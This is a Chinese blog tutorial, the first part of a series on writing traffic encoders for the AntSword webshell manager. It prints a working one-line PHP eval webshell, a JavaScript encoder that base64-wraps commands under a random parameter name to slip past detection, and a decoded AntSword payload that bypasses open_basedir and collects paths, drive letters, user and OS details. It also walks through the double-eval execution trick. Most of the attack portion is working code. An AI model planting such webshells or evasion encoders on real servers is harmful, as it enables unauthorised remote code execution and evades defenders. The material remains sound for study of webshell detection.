蚁剑编码器编写——上篇

参考

AwesomeEncoder

第一个为例

木马

c 复制代码
<?php @eval(base64_decode($_POST['ant']));?>

获取ant参数内容,然后base64解码后运行

编码器

cpp 复制代码
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');

生成随机数randomID,将数据进行base64编码后传入到randomID参数中,

然后将eval(base64_decode($_POST[${randomID}]));die();进行base64编码

反向来说

木马首先获取data[pwd]也就是ant的值base64解码后得到

c 复制代码
eval(base64_decode($_POST[${randomID}]));die();

实际上木马变为了

c 复制代码
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>

假定生成的随机数randomID为A,那么也就是

c 复制代码
<?php @eval(eval(base64_decode($_POST[A]));die(););?>

在木马的第二步,已经将data[randomID],也就是$_POST[${randomID}],也就是这里的$_POST[A]base64编码过,所以需要在进行解码一次,那么疑问就来了,为什么要执行两次???那就要从流量包来进行查看

环境搭建这里不做演示,小皮,蚁剑,burpsuite即可

将数据包base解码

c 复制代码
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
c 复制代码
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

那么也就变为了eval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

查看一下这一大段,整理一下

c 复制代码
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\\\|\//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

当然了,很多函数我都不认识,但是有AI呀!

c 复制代码
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\\\|\//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;

这一段是

关闭错误显示

设置脚本执行时间

获取open_basedir的配置值,绕过open_basedir属性限制

c 复制代码
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};

这一段获取当前脚本所在目录,初始化字符串参数$R,遍历盘符,C-Z爆破盘符,利用posix_getegid函数获取执行脚本用户的用户名,用户组等内容,检测$u是否存在,不存在则利用get_current_user()函数获取,使用php_uname()获取操作系统信息,

到这里就很清楚了,这段php代码获取木马的当前执行目录,盘符,用户,操作系统信息,由于使用了缓存机制,所以在最后的

asoutput()函数中进行集体输出,

将上文中的请求包发送到repeater模块,发现返回的结果是一样的

但是这还是解释不了为什么两个eval ,其实ant传入的内容属于字符串,外面套一层eval,才会将里面的eval当做函数执行,举个简单的例子

c 复制代码
<?php  
eval("eval('echo 1+1;');die();")
?>

变形一下

c 复制代码
<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>

最后的输出结果是2,也就是说外面的eval将字符串转换为函数执行,里面的一层eval执行内容

那么在这个例子中,木马的eval用来激活请求包中的eval函数,进而实现命令执行的效果

相关推荐
DevSecOps选型指南6 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化6 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥6 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU7 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
网安INF8 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_9 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
moongoblin10 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA10 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花11 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
上海云盾第一敬业销售14 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全